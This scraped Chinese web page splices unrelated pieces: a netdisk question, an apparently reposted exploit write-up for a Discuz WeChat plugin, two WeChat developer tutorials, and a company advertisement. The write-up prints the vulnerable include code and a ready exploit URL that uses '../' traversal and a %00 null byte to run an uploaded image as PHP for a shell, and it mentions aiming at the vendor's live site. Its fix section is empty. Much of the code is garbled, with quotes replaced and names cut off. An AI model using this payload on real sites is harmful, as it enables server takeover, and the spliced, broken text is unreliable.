我已经将文件传入百度网盘搜索,如何在微信公众平台发布这个文件,能够让我的朋友查阅这个文件?急急急

当前位置: >
Discuz! 微信公众平台插件前台任意文件包含,可直
时间: 19:17 来源:未知 作者:小可 阅读:次
Discuz! 插件前台文件包含,可直接shell,本来想拿下dz插件中心主站 结果被可恶的百度云拦截,但是潜在问题还是存在
Discuz!&公众平台插件前台文件包含,可直接shell,直接看代码
hux_wx.inc.php:
if(!defined('IN_DISCUZ')) {
exit('Access Denied');
$wxsetting = $_G['cache']['plugin']['hux_wx'];
$paymoney = &extcredits&.$wxsetting['money'];
$paymoneyname = $_G['setting']['extcredits'][$wxsetting['money']]['title'];
$mycash = C::t('#hux_wx#hux_common_member_count')-&result_by_uid($_GET['uid'],$paymoney);
$user_cm = C::t('#hux_wx#hux_common_member')-&fetch_by_uid($_GET['uid'],'groupid');
$gp = unserialize($wxsetting['gp']);
$postgp = unserialize($wxsetting['postgp']);
$appconfigsql = C::t('#hux_wx#hux_wx_config')-&fetch_by_appid($_GET['mod'],'configs');
if ($appconfigsql) {
$appconfigs = explode('||',$appconfigsql['configs']);
foreach($appconfigs as $value){
$appconfigss = explode(':',$value);
$appconfig[$appconfigss[0]] = $appconfigss[1];
echo &gpc is &.get_magic_quotes_gpc().&&br&&;
echo DISCUZ_ROOT.'./source/plugin/hux_wx/mod/'.$_GET['mod'].'/'.$_GET['ac'].'.php';
include DISCUZ_ROOT.'./source/plugin/hux_wx/mod/'.$_GET['mod'].'/'.$_GET['ac'].'.php';
这里我们打印一下gpc 就是说明我们开启了这个功能
然后我们首先访问一下url:
http://localhost/Discuz_X3.2_SC_UTF8/upload/plugin.php?id=hux_wx:hux_wx&uid=1&mod=../../../..&ac=data/attachment/album//a8nnnzjv2i52n6.png%00
效果看到了之后 我们再来看一下这个图片是怎么传递上去的,有是怎么找到的
啥也不说了,我们直接看插件中心的主站:http://www.hux.cc
这个居然首推主页,那就说明地位重要性
而且这个站点正好有上传相册,编辑相册的功能
修复方案:
(责任编辑:小可)(转)微信公众平台开发之基于百度 BAE3.0 的开发环境搭建(采用 Baidu Eclipse) - i笑笑online - 博客园
原文传送门()
版本说明:
& &&& &更新,红色字体代表最近一次更新的内容。
& & & & & &
&更新,上一版本有很多读者反应说最后还是无法通过微信 token 认证,此版本特意解决这个问题。红色字体代表最近一次更新的内容。
& & 对于版本 v1 不能成功的问题,我对此深表歉意,版本 v2 通过我再三测试,肯定能通过微信的 token,版本 v1 不能不能成功的问原因是 eclipse 新建的工程不对, 导致部署不成功,读者可以留意一下这里。另外,要特意感谢一位朋友,他通过远程协助给我演示了一遍,才能让我把问题给解决了,同时还要感谢那些信任和支持我的朋友,感谢那些向我反映问题的读者。
因为要进行微信开发,就必须要成为微信开发者,要想成为微信开发者,就必须要有服务器响应微信的 Token 验证,如果没有公网服务器环境,可以去了解下BAE、SAE或阿里云,这里以 BAE 为例。
前提条件:
&& &(1)拥有微信公众平台帐号(申请地址:https://mp./)
& & &(2)拥有百度BAE开发者帐号(申请地址:/)
&& &(3)搭建好 Java 开发环境,没有搭建好的可参考&
准备工作:
& &&下载一个集成好BAE开发环境的eclipse(也可以在线安装插件),在百度网页()最下面有一键安装那里下载,这是已预装了Baidu Eclipse插件以及 svn 版本管理工具的Eclipse安装包,下载到本地解压即可用(有可能首次启动会报错&Eclipse is running in a JRE, but a JDK is required, 解决方法,)。非常简单,不建议自己安装插件,除非你很熟悉怎么去安装。
如果你已经有了 MyEclipse 工具,那么,恭喜你,你不需要安装&Baidu Eclipse 也可以搭建一个开发环境,具体操作,请看另外一篇博客。
1、去BAE快速创建一个JAVA应用
& & 去到百度开放云首页 (),点击右上角 &管理控制台& ,进入我的应用页面:如图 1
& & & & & & & & & & & & & & & & & & & & 图 1
& & 点击 &创建应用& 填上应用名称,点击&保存&,如图2
& & & & & & & & & & & & & & & & & & & &图 2
& & 你就会看到你创建好的应用:(图 3)
& & & & & & & & & & & & & & & & & & & & & & & & & 图 3
2、添加部署
& &&点击应用图标,查看应用信息,点击&应用引擎& 弹出&部署列表&页面:图 4
& & & & & & & & & & & & & & & & & & & & & & & &图 4
& &&点击&添加部署&,按要求填写,&类型选择&Java-tomcat:图5
& & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & &图 5
& &&创建失败并提示警告,由于 bae 升级到 3.0 版本,实行分批制度,看公告:图 6
& & & & & & & & & & & & & & & & & & & & & & 图 6
& & & & 很悲剧,如果你没有抢到执行单元,那你就只能等抢到再说,否则你就无法部署你的代码。
& & & & 查看部署:BAE部署创建成功后,在部署列表中可看到刚创建的部署信息。
& & & & 注意:代码版本工具支持:svn和git,建议选择 svn 因为这样比较省事。
3、通过 SVN 检入工程
& & 在 bae 上的应用添加部署成功后,如图 7
& & & & & & & & & & & & & & & & & & & & & & & & & & &图 7
& & 点击&点击查看&按钮,会打开一个新页面,页面上会打印 &hello world& ,这是因为我们的应用包含有示例代码,也就是基础工程,我们要将这个工程导出到本地,然后添加我们自己的代码,我们点击&点击复制&复制 svn 的地址备用。
& &&启动我们安装好的&Eclipse,&点击 File --&new --& other,从弹出的窗口中选择 svn,如图 8
& & & & & & & & & & & & & & & & & & 图 8
& &点击 &从 SVN检出项目& --& Next --&&&创建新的资源库位置&--& Next --& 粘贴刚才复制的 SVN 的地址 --& 点击显示的地址 Next --& 验证后会看到检测出的项目,如图 9
& &&& &&& &&& &&& &&& &&& &&& &&& &图 9
& & 点击选中项目 --& Next --& 选中&做为新项目检出,***&,如图 10
& &&& &&& &&& &&& &&& &&& &&& &&&图 10
& & 点击 &Finish&,弹出页面中选择 &Yes& ,如图 11
& &&& &&& &&& &&& &&& &&& &&& &&图 11
注意:选择 &Yes&后,如果要百度验证,记得填写有 user 时不能是中文,如果你的百度账号是中文登录,赶紧去账号里关联手机号或者Email,这样你就可以通过手机号或者 Email 来登录百度了。
(往下比更新前变动很大,各位多留意)
& &&在弹出的新建项目向导对话框中选择& Web --& Dynamic Web project (动态 web 工程),( 注意不要选择 Baidu --& BAE Project ,版本 v1 叫大家选择BAE Project 会发现很难打包) 如图12:
& &&& &&& &&& &&& &&& &&& &&& &&& &&&图 12
& & 接着会弹出一个进程框,如图13:
& & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & &图 13
& & 然后在弹出的窗口中填上你的项目名称,如图 14:
& & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & &图 14
& &&在弹出的窗口中选 Next,弹出如下窗口:
& &&注意要选中复选框,生成 web.xml 文件, &点击 &Finish&按钮,如果弹出如图15 所示对话框:
& & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & &图 15
& &&点击&OK&按钮,接着就是等待检出项目。
& &&成功检出来的项目是默认已经连接了 svn 的,并且不会报错,有报错的话,请留言联系我。
4、在工程中添加代码,让其响应微信验证
& &&查看我们的工程,如图 17
& &&& &&& &&& &&& &&& &&& &&&图 17
& &&新建一个&servlet&包,方法是:"src" --& 右键 --& new --& packages,&命名随意,例如 org.ivy.course.servlet,如图:
往包里添加一个能够处理请求的Servlet 类,这次我采用向导的方式添加,如图所示:
点击图中的 &Create a new&Servlet&& ,在弹出窗口中填上类名 CoreServlet&:
点击 Next,注意弹出的窗口中的 URL mappings,访问时要用到它:
点击 Next 后点击 &Finish&得到通过向导新建的类 CoreServlet:
package&org.ivy.course.&&
import&java.io.IOE&&
import&javax.servlet.ServletE&&
import&javax.servlet.annotation.WebS&&
import&javax.servlet.http.HttpS&&
import&javax.servlet.http.HttpServletR&&
import&javax.servlet.http.HttpServletR&&
@WebServlet("/CoreServlet")&&
public&class&CoreServlet&extends&HttpServlet&{&&
&&&&private&static&final&long&serialVersionUID&=&1L;&&
&&&&public&CoreServlet()&{&&
&&&&&&&&&&
&&&&protected&void&doGet(HttpServletRequest&request,&HttpServletResponse&response)&throws&ServletException,&IOException&{&&
&&&&&&&&&&
&&&&protected&void&doPost(HttpServletRequest&request,&HttpServletResponse&response)&throws&ServletException,&IOException&{&&
&&&&&&&&&&
新建的类&Servlet&可能会报错,同时导入的头文件也会报错,如图:
这是因为缺少&servlet-api.jar 这个包,网络上下载这个包,添加到工程中就行了,做法是直接复制这个包,然后再工程的 WebContent/WEB-INF/Lib 中右键选择 Paste 粘贴进去并右键刷新工程就行了,实在不行,请参考我的博客 【The import javax.servlet cannot be resolved 解决方法】。
&我们在 doGet 方法中添加我们的代码,完整如下:
package&org.ivy.course.&&
import&java.io.IOE&&
import&java.io.PrintW&&
import&javax.servlet.ServletE&&
import&javax.servlet.annotation.WebS&&
import&javax.servlet.http.HttpS&&
import&javax.servlet.http.HttpServletR&&
import&javax.servlet.http.HttpServletR&&
import&org.ivy.course.util.SignU&&
@WebServlet("/CoreServlet")&&
public&class&CoreServlet&extends&HttpServlet&{&&
&&&&private&static&final&long&serialVersionUID&=&1L;&&
&&&&public&CoreServlet()&{&&
&&&&&&&&&&
&&&&protected&void&doGet(HttpServletRequest&request,&HttpServletResponse&response)&throws&ServletException,&IOException&{&&
&&&&&&&&&&
&&&&&&&&&&
&&&&&&&&&&
&&&&&&&&&&
&&&&&&&&String&signature&=&request.getParameter("signature");&&
&&&&&&&&&&
&&&&&&&&String&timestamp&=&request.getParameter("timestamp");&&
&&&&&&&&&&
&&&&&&&&String&nonce&=&request.getParameter("nonce");&&
&&&&&&&&&&
&&&&&&&&String&echostr&=&request.getParameter("echostr");&&&
&&&&&&&&&&
&&&&&&&&PrintWriter&out&=&response.getWriter();&&
&&&&&&&&&&
&&&&&&&if(SignUtil.checkSignature(signature,&timestamp,&nonce)){&&
&&&&&&&&&&&out.print(echostr);&&
&&&&&&&}&&
&&&&&&&out.close();&&
&&&&&&&out&=&null;&&&&&&&&&&
&&&&protected&void&doPost(HttpServletRequest&request,&HttpServletResponse&response)&throws&ServletException,&IOException&{&&
&&&&&&&&&&
&&&&&&&&&&
在doGet方法中调用了checkSignature方法,该方法还没有实现,我们新建一个包 org.ivy.course.util 作为一个工具包,并往该包中添加新类 SignUtil,添加类的方法是:包名右键 --&new --& class,填上类名,其它默认,完整代码如下:
package&org.ivy.course.&&
import&java.security.MessageD&&
import&java.security.NoSuchAlgorithmE&&
import&java.util.A&&
public&class&SignUtil&{&&
&&&&private&static&String&token&=&"weixinface";&&
&&&&public&static&boolean&checkSignature(String&signature,&String&timestamp,&String&nonce){&&
&&&&&&&&String[]&arr&=&new&String[]{token,&timestamp,&nonce};&&
&&&&&&&&&&
&&&&&&&&Arrays.sort(arr);&&
&&&&&&&&StringBuilder&content&=&new&StringBuilder();&&
&&&&&&&&for(int&i&=&0;&i&&&arr.&i++){&&
&&&&&&&&&&&&content.append(arr[i]);&&
&&&&&&&&}&&
&&&&&&&&MessageDigest&md&=&null;&&
&&&&&&&&String&tmpStr&=&null;&&
&&&&&&&&&&
&&&&&&&&try&{&&
&&&&&&&&&&&&md&=&MessageDigest.getInstance("SHA-1");&&
&&&&&&&&&&&&&&
&&&&&&&&&&&&byte[]&digest&=&md.digest(content.toString().getBytes());&&
&&&&&&&&&&&&tmpStr&=&byteToStr(digest);&&
&&&&&&&&}&catch&(NoSuchAlgorithmException&e)&{&&
&&&&&&&&&&&&&&
&&&&&&&&&&&&e.printStackTrace();&&
&&&&&&&&}&&
&&&&&&&&content&=&null;&&
&&&&&&&&&&
&&&&&&&&return&tmpStr&!=&null&?&tmpStr.equals(signature.toUpperCase()):&false;&&
&&&&private&static&String&byteToStr(byte[]&digest)&{&&
&&&&&&&&&&
&&&&&&&&String&strDigest&=&"";&&
&&&&&&&&for(int&i&=&0;&i&&&digest.&i++){&&
&&&&&&&&&&&&strDigest&+=&byteToHexStr(digest[i]);&&
&&&&&&&&}&&
&&&&&&&&return&strD&&
&&&&private&static&String&byteToHexStr(byte&b)&{&&
&&&&&&&&&&
&&&&&&&&char[]&Digit&=&{'0',&'1',&'2',&'3',&'4',&'5',&'6',&'7',&'8',&'9',&'A',&'B',&'C',&'D',&'E',&'F'};&&
&&&&&&&&char[]&tempArr&=&new&char[2];&&
&&&&&&&&tempArr[0]&=&Digit[(b&&&&&4)&&&0X0F];&&
&&&&&&&&tempArr[1]&=&Digit[b&&&0X0F];&&
&&&&&&&&&&
&&&&&&&&String&s&=&new&String(tempArr);&&
&&&&&&&&return&s;&&
代码添加完毕,工程右键,删除工程中的 ROOT.war 包,&&然后工程右键重新打包一个 ROOT.war 包,名字必须和原来一样,保存地址也和原来一样,具体是,右键 --& &Export --& WAR file:
导出后,项目右键刷新工程,包 ROOT.war 就会重新出现在工程中,然后我们提交我们的工程到百度 BAE 上就行了,具体做法看下面。
5、提交修改后的代码
& & 工程右键 --& Team --& 提交 --& ok, 如图 18
& &&& &&& &&& &&& &&& &&& &&& &&图 18
&& &&如果要验证,就输入你的百度账号密码,提交成功后,部署列表状态栏会显示&有新版&,此时点击&快捷发布&也等同上线。如图 19 所示:
& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&&图 19
&&&&&发布后,点击查看,在弹出页面的地址中添加上面叫你记住的那个&URL mappings,如果你没有改过,默认是&/CoreServlet&,如果你 实在忘了,可以到你的类CoreServlet 中找到这个语句:&@WebServlet("/CoreServlet"),就是这个后缀,举个例子,例如你点击查看的网站是&&&
& &,添加后缀后的地址是 & &/CoreServlet & 填完网址后回车,就能看到如下页面:
看到此画面就说明你离成功只差一步了,记住复制此网页的地址备用。
6、成为微信开发者
& &&打开微信公众平台 -& 高级功能 -& 开发者模式,见图 20:
& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&&图20
将我们刚才复制的地址黏贴到&URL
在填写 Token 之前,也回到我们的项目,在类&SignUtil 中有这么一句代码:
private&static&String&token&=&"weixinface";&&
& &&代码中的 token 的值我们可以随意写,但是,这里是什么值,在微信平台上就要填写对应的内容,所有,在 Token 那里填上&weixinface,点击&提交&,如果代码没有问题,瞬间你就可以看到&你已成为开发者& 的提示:如图 22
& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &&& &图 22
& & & &到此,所有的工作都已经完成,你可以不断丰富你的代码,实现不同的功能。你也可以在自己的微信中关注自己的订阅号,只需扫描公众平台的二维码就行了。
扩展说明:
& &&其实,上述提交代码到百度 BAE 中的这么一个操作,我觉得更多的是将 BAE 作为一个谷仓,就是一个存放代码的服务器来用,以方便我们在任何地方都可以通过 SVN 工具检出我们的代码,从而随时开始我们的项目,特别是多人一起做的项目,而微信 Token 认证访问的其实只有 ROOT.war 这个包,不信,你可以另外安装一个 SVN 工具,重新打包&ROOT.war,并通过 SVN 将&ROOT.war 这个包提交到 BAE 上,一样可以通过微信 Token 验证,我的另外一篇博客就是仅仅提交&ROOT.war 这个包的,有兴趣的可以去看看,但是,这是为什么?其实也很简单,我们打包的&ROOT.war 中其实已经有我们的所以源代码了,你可以解压&ROOT.war 文件,看看里面到底有些什么东西,你就会懂的。10:28CATEGORY:VIEWS:28925COMMENTS:
最近在做微信公众平台开发,一口气写了二十几个功能,挺有意思的~
今天来分享一下开发经验~
微信公众平台提供的接口很简单,先看看消息交互流程:
说的通俗一些,用户使用微信发送消息 -> 微信将数据发送给开发者 -> 开发者处理消息并返回数据至微信 -> 微信把返回数据发送给用户,期间数据交互通过XML完成,就这么简单。
下面写个实例,开发微信智能聊天机器人:
1. 注册微信公众平台账号
微信公众平台:
注: 目前一张身份证只能注册两个账号,账号名称关乎加V认证,请慎重注册。
2. 申请服务器/虚拟主机
没有服务器/虚拟主机的童鞋可以使用BAE和SAE,不多介绍。
3. 开启开发者模式
微信公众平台有两个模式,一个是编辑模式(傻瓜模式),简单但功能单一。另一个是开发者模式,可以通过开发实现复杂功能。两个模式互斥,显而易见,登录微信公众平台并通过“高级功能”菜单开启开发者模式。
4. 填写接口配置信息
同样是在“高级功能”菜单中配置,需要配置两项参数:
URL: 开发者应用访问地址,目前仅支持80端口,以“/weixin/index.php”为例。
TOKEN: 随意填写,用于生成签名,以“YoonPer”为例。
填写完把下面代码保存为index.php并上传至/weixin/目录,最后点击“提交”完成验证。
define(&TOKEN&, &YoonPer&); //TOKEN值
$wechatObj = new wechat();
$wechatObj-&valid();
class wechat {
public function valid() {
$echoStr = $_GET[&echostr&];
if($this-&checkSignature()){
echo $echoS
private function checkSignature() {
$signature = $_GET[&signature&];
$timestamp = $_GET[&timestamp&];
$nonce = $_GET[&nonce&];
$token = TOKEN;
$tmpArr = array($token, $timestamp, $nonce);
sort($tmpArr);
$tmpStr = implode( $tmpArr );
$tmpStr = sha1( $tmpStr );
if( $tmpStr == $signature ) {
这玩意儿就是微信公众平台校验URL是否正确接入,研究代码没有实质性意义,验证完即可删除文件,就不详细说明了,有兴趣的童鞋可以查看官方文档。
微信公众平台API文档:
5. 开发微信公众平台功能
OK,上面提到了,微信公众平台与开发者之间的数据交互是通过XML完成的,既然用到XML,当然得遵循规范,所以在着手开发之前先看看官方接口文档提供的XML规范,以文本消息为例:
当用户向微信公众账号发送消息时,微信服务器会POST给开发者一些数据:
&!--开发者微信号--&
&ToUserName&&![CDATA[toUser]]&&/ToUserName&
&!--发送方帐号(OpenID)--&
&FromUserName&&![CDATA[fromUser]]&&/FromUserName&
&!--消息创建时间 (整型)--&
&CreateTime&&/CreateTime&
&!--消息类别 (text文本消息)--&
&MsgType&&![CDATA1]&&/MsgType&
&!--消息内容--&
&Content&&![CDATA[content]]&&/Content&
&!--消息ID (64位整型)--&
&MsgId&3456&/MsgId&
开发者在处理完消息后需要返回数据给微信服务器:
&!--接收方帐号(OpenID)--&
&ToUserName&&![CDATA[toUser]]&&/ToUserName&
&!--开发者微信号--&
&FromUserName&&![CDATA[fromUser]]&&/FromUserName&
&!--消息创建时间 (整型)--&
&CreateTime&&/CreateTime&
&!--消息类别 (text文本消息)--&
&MsgType&&![CDATA1]&&/MsgType&
&!--回复消息内容--&
&Content&&![CDATA[content]]&&/Content&
&!--星标操作(位0x0001被标志时 星标刚收到的消息)--&
&FuncFlag&0&/FuncFlag&
除文本消息外,微信公众平台还支持用户发送图片消息、地理位置消息、链接消息、事件推送,而开发者还可以向微信公众平台回复音乐消息和图文消息,各类消息XML规范也可以参见官方文档。
来看看官方提供的一个PHP示例,我做了一些精简:
$wechatObj = new wechat();
$wechatObj-&responseMsg();
class wechat {
public function responseMsg() {
//---------- 接 收 数 据 ---------- //
$postStr = $GLOBALS[&HTTP_RAW_POST_DATA&]; //获取POST数据
//用SimpleXML解析POST过来的XML数据
$postObj = simplexml_load_string($postStr,'SimpleXMLElement',LIBXML_NOCDATA);
$fromUsername = $postObj-&FromUserN //获取发送方帐号(OpenID)
$toUsername = $postObj-&ToUserN //获取接收方账号
$keyword = trim($postObj-&Content); //获取消息内容
$time = time(); //获取当前时间戳
//---------- 返 回 数 据 ---------- //
//返回消息模板
$textTpl = &&xml&
&ToUserName&&![CDATA[%s]]&&/ToUserName&
&FromUserName&&![CDATA[%s]]&&/FromUserName&
&CreateTime&%s&/CreateTime&
&MsgType&&![CDATA[%s]]&&/MsgType&
&Content&&![CDATA[%s]]&&/Content&
&FuncFlag&0&/FuncFlag&
$msgType = &text&; //消息类型
$contentStr = ''; //返回消息内容
//格式化消息模板
$resultStr = sprintf($textTpl,$fromUsername,$toUsername,
$time,$msgType,$contentStr);
echo $resultS //输出结果
把代码保存为index.php并上传至/weixin/目录,如果刚才没删除该文件,则直接覆盖。
现在用户通过微信公众平台发送任何消息公众账号均会返回一条内容为“”的消息。
接下来需要做的就是根据用户消息动态返回结果~
SimSimi(小黄鸡)是目前比较火的聊天机器人,我用CURL开发了一个免费的SimSimi(小黄鸡)接口,传入关键词会返回文本回复,这部分不是本文重点,就不多说明,直接上代码(更新):
function simsimi ($keyword)
$keyword = urlencode($keyword);
//----------- 获取COOKIE ----------//
$url = &/&;
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$content = curl_exec($ch);
list($header, $body) = explode(&\r\n\r\n&, $content);
preg_match_all(&/set\-cookie:([^\r\n]*);/iU&, $header, $matches);
$cookie = implode(';', $matches[1]).&;simsimi_uid=1;&;
curl_close($ch);
//----------- 抓 取 回 复 ----------//
$url = &/func/reqN?lc=ch&ft=0.0&req=$keyword&fl=http%3A%2F%%2Ftalk.htm&;
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
$content = json_decode(curl_exec($ch), 1);
curl_close($ch);
if ( $content['result'] == '200' ) {
return $content['sentence_resp'];
return '我还不会回答这个问题...';
把上面两段代码整合在一起就大功告成了,需要说明一点,微信服务器在5秒内收不到响应会断掉连接,通过此接口有可能会超时,且SimSimi已经屏蔽了BAE和SAE上的抓取请求,推荐使用SimSimi官方收费API,速度比较快~
最后附上微信公众平台智能聊天机器人源码:
微信公众平台智能聊天机器人源码下载:
Copyright (C)
YoonPer All Right Reserved当前位置: & 欢迎光临
扫一扫二维码名片&&&&
&我们的经营理念:
提高售后服务质量,提高客户满意程度,沟通顺畅,成为行业中最诚信,多元化发展企业的一员。
转变观念,转变作风,勇于创新机制,创新局面。
为各行业用户提供最实在的线缆质量和优质服务
扬州春天线缆有限公司创业于2000年的春天线缆,是一家以安防线缆为主,涉足房产、物流等领域的大型综合性现代化企业,旗下拥有3家公司、3大产业公司,是江苏线缆行业的佼佼者。2000年,春天正式进入安防行业;2001年开始使用春天品牌。目前,春天公司员工100多人,辐射华南、华东、华中、西南、华北五大区域。公司与多家零售商和代理商建立了长期稳定的合作关系。江苏扬州春天线缆有限公司经销的电线电缆品种齐全、价格合理。非凡春天,创造无限!
公司名称:扬州春天线缆有限公司 []

我要回帖

更多关于 百度网盘搜索 的文章

 

随机推荐